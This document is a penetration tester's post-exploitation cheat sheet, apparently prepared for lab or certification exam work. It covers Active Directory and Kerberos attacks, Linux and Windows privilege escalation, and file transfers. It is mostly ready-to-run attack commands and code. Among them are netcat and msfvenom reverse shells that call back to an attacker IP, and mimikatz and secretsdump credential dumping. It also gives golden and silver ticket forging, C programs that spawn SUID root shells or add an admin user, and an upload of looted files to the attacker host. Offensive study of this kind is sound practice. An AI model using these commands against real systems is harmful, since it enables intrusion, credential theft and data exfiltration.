Post-Exploit

Active Directory

Active Directory Enumeration

try Import-Module ActiveDirectory

  • Get-ADDomain
  • Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName - to list users with an SPN (kerberoastable)
  • Get-ADGroup -Filter * | select name - list groups
  • Get-ADGroup -Identity "$groupName" - get info about that group
  • Get-ADGroupMember -Identity "$groupName" - list users of the group
adPEAS.ps1
  • Import-Module .\adPEAS.ps1 then Invoke-adPEAS
  • It will begin searching for SPNs, kerberoastable accounts, and exporting a bunch of domain info to a .zip file for Bloodhound. At this point I would look through the text output and see what you have. if you have any kerberoastable accounts, try to crack the hashes with hashcat.
  • Transfer the .zip file back to your machine and import it into bloodhound. Copy it to an SMB share if you can.
  • Before launching bloodhound:sudo neo4j console
  • If adPEAS didn’t get you any credentials or valuable info, you might need to run Rubeus or Mimikatz manually. Or you might need to enumerate better, maybe theres something else you can find locally…Services, config files…backups?
PowerView.ps1
  • Import-Module .\PowerView.ps1- (May Need “Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser”)
  • Get-NetDomain
  • Get-NetUser
  • Get-NetUser | select cn (common name)
  • Get-NetUser | select cn,pwdlastset,lastlogon
  • Get-NetGroup | select cn
  • Get-NetGroup "Fart Department" | select member (get members of the Fart Department)
  • Get-NetComputer
  • Get-ObjectAcl -Identity $user
  • Get-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
    • (For example, pick different items to select)
  • Convert-SidToName $SID - (like S-1-5-21-1987370470-658905705-1781884369-1103)
  • Find-LocalAdminAccess - (scanning to find local admin privileges for our user)
  • Get-NetSession -ComputerName $computerName
    • (The permissions required to enumerate sessions with NetSessionEnum are defined in the SrvsvcSessionInfo registry key, which is located in the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity hive.)
  • Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
  • Get-NetUser -SPN | select samaccountname,serviceprincipalname
    • (Another way of enumerating SPNs is to let PowerView enumerate all the accounts in the domain. To obtain a clear list of SPNs, we can pipe the output into select and choose the samaccountname and serviceprincipalname attributes)
  • Find SMB shares: Find-DomainShare
    • then: ls \\dc1.corp.com\sysvol\corp.com\ (for example)
  • Find AS-REP roastable accounts: Get-DomainUser -PreauthNotRequired
  • Get-DomainPolicy enumerate and retrieve password policies
Misc AD Techniques

Run Bloodhound from attacker (rather than using Sharphound):

  • bloodhound-python -u $user -p '$password' -ns $ip -d domain.offsec -c all
  • Snaffler.exe -s -d $domain.com -o snaffler.log -v data - iterates through domain shares hunting for interesting files

If you have a list of potential users, you can use kerbrute to check it for real users

Kerberos

Steps and Attack Privilege Requirements
  1. AS-REQ - The client requests an Authentication Ticket or Ticket Granting Ticket (TGT).
  2. AS-REP - The Key Distribution Center verifies the client and sends back an encrypted TGT. (capture = asreproasting)
  3. TGS-REQ - The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.
  4. TGS-REP - The Key Distribution Center (KDC) verifies the TGT of the user and that the user has access to the service, then sends a valid session key for the service to the client. (capture = Kerberoast, create = silver ticket)
  5. AP-REQ - The client requests the service and sends the valid session key to prove the user has access.
  6. AP-REP - The service grants access

The main ticket that you will see is a ticket-granting ticket these can come in various forms such as a .kirbi (most common) for Rubeus or .ccache for Impacket. A ticket is typically base64 encoded and can be used for various attacks. The ticket-granting ticket is only used with the KDC in order to get service tickets. Once you give the TGT the server then gets the User details, session key, and then encrypts the ticket with the service account NTLM hash. Your TGT then gives the encrypted timestamp, session key, and the encrypted TGT. The KDC will then authenticate the TGT and give back a service ticket for the requested service. A normal TGT will only work with that given service account that is connected to it however a KRBTGT allows you to get any service ticket that you want allowing you to access anything on the domain that you want.

Kerbrute Enumeration
  • kerbrute userenum --dc $ip -d CONTROLLER.local User.txt
    • –dc can point to a domain

Attack Types

Pass the Ticket - Access as a user to the domain required

Kerberoasting

SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running. Requires access as any user Retrieves a TGS-REP hash

  • Remote: sudo impacket-GetUserSPNs -request -dc-ip $IP $domain.com/$user
    • Requests password after
    • Could potentially chain with kerbrute userenum and jsmith.txt
  • Local: .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
    • Maybe try with /tgtdeleg because it ensures RC4 which is faster
  • or Local with PowerView.ps1
    • Get-DomainUser * -spn | select samaccountname
    • Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
AS-REP Roasting

Requires access as any user with PreauthNotRequired on Windows

  • Remote: Impacket-GetNPUsers -dc-ip $IP -request -outfile $outfile.asreproast $domain.com/$user
  • Local: .\Rubeus.exe asreproast /nowrap
  • Local enum: PowerView’s Get-DomainUser -PreauthNotRequired
Silver Ticket

This is forging our own service ticket This requires the following three pieces of information:

  1. SPN password hash (of service account)
    1. If we already have the password we can use online tools to create the NTLM hash. CodeBeautify.org.
  2. Domain SID
    1. We can get this with powershell: Get-ADdomain (it will look like this: S-1-5-21-1969309164-1513403977-1686805993)
  3. Target SPN
    1. We can get this with powershell: Get-ADUser -Filter {SamAccountName -eq "$user"} -Properties ServicePrincipalNames
    2. It will look like this: MSSQL/nagoya.nagoya-industries.com
  4. Target user - -user-id 500 Administrator
  5. Full command: ` impacket-ticketer -nthash $NTLMHash -domain-sid $SID -domain $domain.com -spn $SPN -user-id 500 Administrator Local (from mimikatz): kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:$domain.com /ptt /target:$host.$domain.com /service:http /rc4:$NTLM_hash /user:$user`
    • user is the existing user which will be set in the forged ticket, so if you want one for a user named patsy, the output will say Golden ticket for 'patsy@domain.com' successfully submitted for current session.
DC sync

This is where we impersonate a domain controller using the user account with Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights. (Domain Admins, Enterprise Admins, and Administrators by default).

  • Local (from Mimikatz): lsadump::dcsync /user:$domain\$user where ~user$ is the target we want like corp\david
  • Remote: impacket-secretsdump -just-dc-user $Targetuser $domain.com/$pwnedUser:"$password"@$IP
Pass the Hash

There are multiple different kinds of pass the hash attacks, but they are performed by impacket for example: impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

Overpass the Hash

Overpass the hash involves “over” abusing an NtLM user hash to gain a full TGT, which we can then use to obtain a Ticket Granting Service (TGS). In other words we turn an NTLM hash into a Kerberos ticket and avoid the use of NTLM authentication.

  • Local (using mimikatz): sekurlsa::pth /user:$user /domain:$domain.com /ntlm:$NTLM /run:powershell
    • If we run whoami on this powershell, it will say the ^user above rather than which user we logged in with
    • If we then authenticate using this ^user, such as using net use \\smbserver there will be a ticket cached. We can use klist to prove it.
Pass the Ticket

Requires access to the domain as a user. The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.

  • Local (using mimikatz): sekurlsa::tickets /export
    • Next: This exports the ticket (a .kirbi file) which we can find by searching dir *.kirbi. It will look like [0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi.
    • Next (from mimikatz): kerberos::ptt [0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi
      • If you get no errors, you should be able to see it with klist.

Skeleton Key - Full domain compromise (domain admin) required

Golden Ticket

Requires full domain compromise Local (from mimikatz):

  • privilege:debug
  • lsadump::lsa /patch
    • Output is the SID and NTLM of the krbtgt account. Once you have these two items, you can do this from any machine.
  • (new machine or old) kerberos::purge
  • kerberos::golden /user:$user /domain:$domain.com /sid:SID /krbtgt:$krbtgtNTLM /ptt ($user is whoever we want to have admin permissions)
  • misc::cmd - launches new command prompt from which we can use PsExec.exe \\$targetmachine cmd.exe
    • Note: we must use the hostname rather than the IP address. This is because we are trying to use overpass the hash and authenticate using kerberos rather than NTLM.
DCOM

The Distributed Component Object Model is a system for creating software components that interact with one another. Interaction with it is performed over RPC on TCP port 135.

## create instance of Excel.Application object
$com [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "[target_workstation]"))

## copy Excel file containing VBA payload to target
$LocalPath = "C:\Users\[user]\badexcel.xls
$RemotePath = "\\[target]\c$\badexcel.xls
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

## create a SYSTEM profile - required as part of the opening process
$path = "\\[target]\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)

## open Excel file and execute macro
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
$com.Run("mymacro")

From an elevated PowerShell prompt, we can instantiate a remote MMC (Microsoft Management Console) 2.0 application by specifying the target IP of FILES04 as the second argument of the GetTypeFromProgID method.

  1. $dcom =[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$targetIP"))
  2. $dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
    1. replace /calc with whatever powershell script

Once we execute these two PowerShell lines from CLIENT74, we should have spawned an instance of the calculator app.

Shadow Copies

This technique probably won’t come up on the exam and may just be a noisier version of DC Sync Windows SDK includes vshadow.exe. The goal of this attack is to abuse vshadow to extract the AD database NTDS.dit file.

  • As admin from DC: vshadow.exe -nw -p C:
    • Take note of Shadow copy decice name: $ShadowCopyName
  • copy $ShadowCopyName\windows\ntds\ntds.dit c:\ntds.dit.bak
  • reg.exe save hklm\system c:\system.bak
  • Move ntds.dit.bak and system.bak to kali
  • From kali: impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
  • This will give use the hashes of every AD user which can now be cracked or used

After Linux Foothold

Enumeration

  • id
  • sudo -l - what can we run using sudo
  • history - could have some juicy details in history
  • cat /etc/passwd
    • If you can somehow edit /etc/passwd:
      1. openssl passwd $newPassword
      2. `echo “$newUser:$hashAbove^:0:0:root:/root:/bin/bash” » /etc/passwd
      1. or simply copy$hashAbove^ into root:<this spot>:etc within the /etc/passwd file
  • uname -a - kernel exploits
    • cat /etc/issue
  • hostname
  • ps -aux
    • watch -n 1 "ps -aux | grep $searchTerm$"
  • ipconfig
  • ss -anp or netstat
  • dpkg -l (to list applications installed by dpkg)
  • find / -writable -type d 2>/dev/null (find writable directories)
  • history or cat any /home/.history files
  • check /home/.ssh for keys
  • su root (can’t hurt to try)
  • sudo tcpdump -i lo -A | grep "pass"
  • ip neigh - ipv4 neighbor table
  • netstat -ano - what ports are open and what communications exist
  • dpkg -l - list installed programs
  • check /var, /opt, /usr/local/src and “/usr/src/ for anything interesting
  • find / -writable -type d 2>/dev/null - find writable directories
  • TCM Color Command: grep --color=auto -rnw '/' -ie "$searchTerm" --color=always 2> /dev/null (searches for the term and spits it out in red)
  • From the directory you want to search: grep -r "$searchTerm"

Privilege Escalation

Automated tools
  • linpeas.sh
  • unix-privesc-check
  • lse.sh
SUID Executables

SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it.

  • find / -user root -perm -4000 -print 2>/dev/null
  • find / -type f -perm -04000 -ls 2>/dev/null
  • find / -type f -perm -u=s 2>/dev/null | xargs ls -l
  • find / -perm -u=s -type f 2>/dev/null
  • find / -user root -perm -4000 -exec ls -ldb {} \;
  • There may be more
  • drwxr-x-r–
    • this is a directory with read/write/execute for the owner, read/execute for the group, and read for everyone else
    • if there is an S where the first x would be, that is a SUID (vs GUID for group id or sticky bit for the last one which would be a t)
Kernel Exploits

uname -a - check which kernel lsmod - List Kernel modules

  • /sbin/modinfo $moduleName
Passwords and File Permissions
  • history
  • find /etc -type f -exec grep -i -I "pass" {} /dev/null \; 2>/dev/null
    • for the /etc directory
  • find / -name id_rsa 2>/dev/null or authorized_keys
Sudo Escalations
  • sudo -l then “gtfobins.github.io”
  • Escalation via LD_PRELOAD - if you see this in the output, it means you can preload libraries, and you can use that to load a bash shell prior to actually executing one of the commands you’re able to load.
    • Code here: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path
Scheduled Tasks

Take note of where the PATH is if the full PATH isn’t declared grep "CRON" /var/log/syslog ls -lah /etc/cron* cat /etc/crontab

  • especially for processes running as root
  • echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > $cronScript
    • then you can execute /tmp bash because of the +s
Shared Object Injection

strace $binary 2>&1 - strace intercepts and records the system calls which are called by a process and the signals which are received by a process.

  • then try to overwrite anything that shows up as (No such file or directory)
  • may need a .c file to exploit, EX:
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Then: gcc -shared -fPIC -o $outputLocation $exploitLocation.c -gcc -shared -fPIC -nostartfiles -o file file.c

  • note that you can change this to $file.so

Vulnerability with nginx, an http and reverse proxy server https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Escalation via Environmental Variables

Run the find SUID command, then run strings on the binary if you don’t know what it does If it starts a service from the PATH, you can print $PATH

  • If it doesn’t have a direct PATH:
    • one line c command: echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
    • so the one liner is actually: int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}
    • then gcc /tmp/service.c -o /tmp/service
    • then: export PATH=/tmp:$PATH
    • This means that when you call a service, the system will check /tmp first as it is the start of the PATH
  • If it does have a direct PATH (like /usr/sbin/service)
    • function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
    • export -f /usr/sbin/service -
Capabilities

getcap -r / 2>/dev/null - this will show up during linpeas, but it’s still good to know

NFS Root Squashing
  • cat /etc/exports
    • if it says 'no_root_squash' then the directory shown is shareable and can be mounted
    • Because it’s no root squash, everything we do as root on our machine, it will be as root as the target machine even though we are a normal user on the target so from kali:
  • mkdir /tmp/mountme
  • mount -o rw,vers=2 $kaliIP:/tmp /tmp/mountme
  • echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
  • gcc /tmp/mountme/x.c -o /tmo/mountme/x
  • chmod +s /tmp/mountme/x then from target:
  • ./x
Other

Reverse shells:

  • busybox nc $kaliIP 4444 -e sh
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $kaliIP $kaliPort >/tmp/f

Add file to path: export PATH="/usr/lib/gcc/i486-linux-gnu/4.6/:$PATH"

If you can edit /etc/sudoers:

  • "echo $user ALL=(ALL) NOPASSWD: ALL >> c:$LFILE"

Remember that backticks can take precedence over other commands. Ex:

  • In URL: 10.10.186.101:8081/ping?ip=ls

After Windows Foothold

Local Enumeration

cmd

User enum:

  • whoami
  • whoami /groups - display groups of current user
  • whoami /priv - check our privileges
  • net user - get list of all local users on machine (this will not include service accounts such as inetserv)
  • net user steve - get user info for steve
  • net group /domain - all local groups
  • net localgroup administrator - can sometimes not work as just net localgroup if we don’t have a logged in session
  • net group "Domain Admins" /domain

  • dsquery user
  • dsquery computer
  • dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl (PASSWD_NOTREQD)

findstr (grep for Windows) commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr

  • wmic cpu get DataWidth, Description, AddressWidth - check architecture
  • wmic qfe - check patches
  • wmic logicaldisk get caption, description, providername - checks drives

Network enum:

  • ipconfig or ipconfig /all
  • arp -a - (arp -all) - checks IP and MAC addresses
  • netstat -ano - what ports are listening/connected, take note if anything is firewalled or not shown in the originalnmap scan

Running Processes/Services

  • tasklist - Get a list of running processes
  • tasklist /SVC - services
    • net start - check which services are runnings

Scheduled Tasks:

  • schtasks /query /fo LIST /v
  • schtasks /query /fo LIST /v | findstr /i "TaskName:"

Search:

  • where /R c:\windows bash.exe - where in C:\Windows is bash.exe (/R means recursive)
  • dir /R - like ls -la

Password hunting:

  • findstr /si password *.txt *.ini *.config - checks from whichever directory and subdirectories and ignores case for the string password
  • cmdkey /list - To list the stored credentials on the machine.
  • reg query HKLM /f pass /t REG_SZ /s - pay attention to ControlSet keys
Add user (if Admin)
  • net user $user $password /add
  • net localgroup Administrators $user /add
TCM Password Hunting

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html

Powershell
  • Get-LocalUser - get list of all local users
  • Get-LocalUser steve - same as net user steve
  • Get-LocalGroup - all local groups
  • Get-LocalGroupMember $groupName - list of users in that group
  • systeminfo - OS, version, architecture, etc
  • ipconfig /all - list all network interfaces
  • route print - display routing table containing all routes of the system
  • netstat -ano - list all active network connections
    • a = all active TCP connections as well as TCP and UDP ports
    • n = disable name resolution
    • o = show process ID for each connection
  • Get-Process - show running processes
  • Get-Process $processName | Format-List * - get all information about a process

Finding info about applications:

  • Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\" | select displayname- Displays 32 bit applications (remove ‘select displayname’ for more info)
  • Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname - Displays 64 bit applications (remove ‘select displayname’ for more info):

Searching for specific things:

  • Command for finding “.kdbx” (KeePass) files:
    • Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue (for Keepass db)
  • Command for finding sensitive XAMPP info files:
    • Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
  • Checking for files in home directory
    • Get-ChildItem -Path C:\Users\$user\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

Runas: - runas user:$user cmd - will have to enter password after, but it gets a shell as that user - C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c $Command - C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\proof.txt > $outputlocation.txt - With InvokeRunasCs.ps1: - Import-Module .\Invoke-RunasCs.ps1 - Invoke-RunasCs svc_mssql trustno1 'c:/xampp/htdocs/uploads/nc.exe 192.168.45.204 4444 -e cmd.exe' - If this doesn’t work, the issue may be the upload location of the nc binary.

  • Get-History - may not work
  • (Get-PSReadlineOption).HistorySavePath
    • Then cat or type output file and check that output for interesting files Download file from remote server
    • iwr -uri http://$kaliIP/file.ext -outfile file.ext
Checking privileges on service binaries

https://github.com/gtworek/Priv2Admin - which privileges can do what

  • icacls Windows utility or
  • Get-ACL - PowerShell Cmdlet

Other Techniques

TCM list of Automated Tools

Executables:

  • winPEAS.exe - windows privilege escalation awesome script (check hacktrick bc it has the checklist)
  • Seabelt.exe - has to be compiled (sln files open in Visual Studio)
  • Watson.exe - has to be compiled (sln file)
  • SharpUp.exe

PowerShell

  • Sherlock.ps1 (predecessor to Watson)
  • PowerUp.ps1
  • jaws-enum.ps1 (jaws = just another windows script)

Other

  • windows-exploit-suggester.py (local from attack machine)
    • requires systeminfo output from the machine
    • seems to be mostly kernel exploits
  • Exploit Suggester (Metasploit)
PowerUp.ps1

Import-Module ./PowerUp.ps1

  • . .\PowerUp.ps1 Then Invoke-AllChecks
  • Check Abuse Function which gives necessary command
Registry Escalation:
  • reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
  • If either of these are set to 1, you can run any msi with elevated permissions. Make an MSI and execute it.
  • PowerUp checks for this.
    • Note that you may need to execute any file written after running the Abuse Function.
    • Can also just create a .msi with msf.
Service Escalation - Registry (TCM)

Example for the regsvc service:

  • Powershell on target: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
    • take note if we have NT AUTHORITY\INTERACTIVE Allow Full Control for this service. If we do we can make a malicious executable run a command.
  • create a malicious .c file and compile it:
    • Example:
    • take an existing file and replace the command used by the system() function to: cmd.exe /k net localgroup administrators $user /add
    • x86_64-w64-mingw32-gcc $exploit.c -o $exploit.exe
    • this adds the $user to the administrators group
  • reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d $exploit.exe /f
  • sc start regsvc
Escalation Via Executable Files (TCM)
  • PowerUp.ps1
  • It will give a ServiceName, Path, ModifiablePath, … and AbuseFunction
  • Take $servicename.exe and replace the existing version in the modifiable path
Escalation via Startup Applications
  • icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  • Generate the exe wth msfvenom
  • Put the exe in the above folder
  • Need to reboot or have an administrator log in/out
  • Probably won’t see this in CTF or lab environment
DLL Hijacking

Go into process monitor and set filters for “Path ends with .dll” and “Result is NAME NOT FOUND”

  • We can overwrite if we can control the service and if the folder is writable
    • If we have a vulnerable service called dllsvc:
      1. sc start dllsvc (or stop first, then start)
      2. Then check ProcMon
      3. msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
      4. Then stop and start again
  • https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking
Escalation via Binary Paths
  • run PowerUp.ps1 - Invoke-AllChecks
  • If our user has the "SERVICE_CHANGE_CONFIG" permission on the daclsvc service:
    • sc config daclsvc binpath= "net localgroup administrators $user /add"
    • sc stop daclsvc and sc start daclsvc
Unquoted Service Path Escalation
  • PowerUp.ps1
  • Example service path: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
  • when the system is trying to run this executable, it will check for Program.exe, Program Files.exe, Program Files\Unquoted.exe… etc. So the goal is to place our malicious executable in any of those directories we have write access to. The example lab uses: C:\Program Files\Unquoted Path Service\Common.exe
CVE-2019-1388

If you get a pop up that says To continue, enter an admin user name and password. and has a Show more details option, you may be able to open up an internet explorer window showing the publisher’s certificate. It will open it up as a SYSTEM level user, so you can use internet explorer to pop a shell.

  • Wheel
  • Save as
  • File
  • Search for cmd, then right click and open it. It will open as nt authority\system.
UAC Bypass

Goal is to replace a service exe and either restart the service or reboot (shutdown /r /t 0) Malicious.c file below:

#include <stdlib.h> 

int main () 
{ 
int i; 

i = system ("net user poppop PartyParty123! /add"); 
i = system ("net localgroup administrators poppop /add"); 
   
return 0; 
}

Compile the C Program above, and you can use it to create a new admin user (poppop:PartyParty123!). -i686-w64-mingw32-gcc adduser.c -o adduser.exe

Potato Family

remember to try transferring the nc.exe binary When you have SeImpersonatePrivilege

  • Check what version you need (.NET) (Check .NET version): reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
  • PrintSpoofer:
    • .\PrintSpoofer.exe -c "nc.exe $kaliIP $port -e cmd"
    • .\PrintSpoofer64.exe -i -c cmd
  • GodPotato: ".\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe $kaliIP $port"
  • Sweet Potato (where r.exe = msfvenom shell):.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc64.exe -a "<ip> <port> -e cmd"
  • Sweet Potato: .\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc.exe -a "10.10.10.10 1234 -e cmd"

Mimikatz (local)

One liner: .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

  1. privilege::debug
  2. token::elevate
  3. lsadump::sam
  4. sekurlsa::logonpasswords
  5. lsadump::dcsync /user:$domain\$user (to obtain NTLM hash)
    • Then from kali: impacket-secretsdump -just-dc-user $user $domain.com /$user:"$password"@$targetIP
    • From kali: impacket-psexec -hashes 00000000000000000000000000000000:$NTLMhash Administrator@$targetIP - From a GUI must be run as admin, (or in a cmd that is running as admin). UAC stops it otherwise. - sekurlsa::tickets can help steal a TGS or, even better a, TGT
Misc Windows Privesc

Running Processes Powershell

  • Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
    • NOTE: You cannot see higher priv processes in windows

Search for unquoted service paths:

  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """
  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """

Check to see if you have the ability to do privileged writes i.e. writing to System32. There are exploits available on hacktricks.

show firewall profile:

  • netsh advfirewall show currentprofile
  • netsh advfirewall firewall show rule name=all

Enumerate Installed Programs

  • wmic product get name, version, vendor

Enumerate Windows Updates

  • wmic qfe get Caption, Description, HotFixID, InstalledOn

Check for folders/files Everyone can write to:

  • Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

List drivers:

  • (cmd)`driverquery.exe /v /fo csv ConvertFrom-CSV Select-Object ‘Display Name’, ‘Start Mode’, Path
  • (powershell) Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

Notes:

  • Run ls, Get-ChildItem, or gci with -force (like ls -la but for Windows)

Post Exploit

#### FROM HACKTRICKS: Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop"

  • ::netsh firewall set service remotedesktop enable - I found that this line is not needed
  • ::sc config TermService start= auto - I found that this line is not needed
  • ::net start Termservice - found that this line is not needed

File Transfers

Python server

  • From kali: python3 -m http.server $port
  • From target Windows:
    • powershell: iwr -uri http://$kaliIP:$port/$file -o $file
    • cmd: `certutil.exe -urlcache -split -f http://$kaliIP/$file C:\Windows\temp$file
  • From target Linux:
    • wget http://$kali IP:$port/$file

nc

  1. on target - nc -w 3 $kaliIP 4444 < file.txt
  2. on kali - nc -lvnp 4444 > file.txt

SMB

  • From kali:
    • sudo impacket-smbserver -smb2support $shareName $sharedDirectory -username "$kaliUser" -password "$kaliPass"
  • From target:
    • `net use m: \$kaliIP$shareName /user:$kaliUser $kaliPass
    • `copy/get $file m:\
  • Example:
    1. on kali - sudo impacket-smbserver -smb2support share . -username "pop" -password "party1"
    2. on target - net use \\$kaliIP\share /user:pop party1
    3. on target - copy $file \\$kaliIP\share

Over RDP

  • xfreerdp /u:admin /p:password /v:$target /drive:/$directoryToShare,$nameToShare /dynamic-resolution
  • xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/.

SSH/SCP

scp -P $sshPort $file $user@$targetIP:$destFolder

FTP

  • From Kali: python -m pyftpdlib -p 21 --write (to provide write access)
  • From windows: ftp $kaliPass (anonymous:anonymous)

wsgidav

`wsgidav –host=0.0.0.0 –port=80 –auth=anonymous –root $directoryToShare

  • host specifies the host to listen to, “0.0.0.0” means all interaces, “–auth=anonymous” disables authentication (fine for sharing specific files during this context), and the “–root” flag specifies the directory to share.

.vbs file

Downloads a file from a self hosted web server:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs 
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs 
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs 
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs 
echo  Err.Clear >> wget.vbs 
echo  Set http = Nothing >> wget.vbs 
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs 
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs 
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs 
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs 
echo  http.Open "GET", strURL, False >> wget.vbs 
echo  http.Send >> wget.vbs 
echo  varByteArray = http.ResponseBody >> wget.vbs 
echo  Set http = Nothing >> wget.vbs 
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs 
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs 
echo  strData = "" >> wget.vbs 
echo  strBuffer = "" >> wget.vbs 
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs 
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs 
echo  Next >> wget.vbs 
echo  ts.Close >> wget.vbs SAMPLE USAGE: `cscript wget.vbs http://$kaliIP/evil.exe evil.exe` 

Powershell script builder

echo $webclient = New-Object System.Net.WebClient >>wget.ps1 
echo $url = "http://[IP]/evil.exe" >>wget.ps1 
echo $file = "new-exploit.exe" >>wget.ps1 
echo $webclient.DownloadFile($url,$file) >>wget.ps1

Usage: - powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 - powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://$kaliIP/winPEAS.bat, 'winpeas.bat')

exe2hex

exe2hex converts to a script that recreates the file from hex string via non-interactive methods:

powershell.exe (New-Object System.Net.WebClient).UploadFile('C:\Users\Administrator\loot.zip', 'http://$kaliIP$/20220204195540_loot.zip')


Kerberos

You can use Kerbrute to enumerate accounts without ever having to exploit a machine: kerbrute userenum --dc [IP] -d CONTROLLER.local /home/kali/Documents/TryHackMe/Labs/Attacking_Kerberos/User.txt -Note you will need to add an entry to your /etc/hosts file.

Rubeus (local)

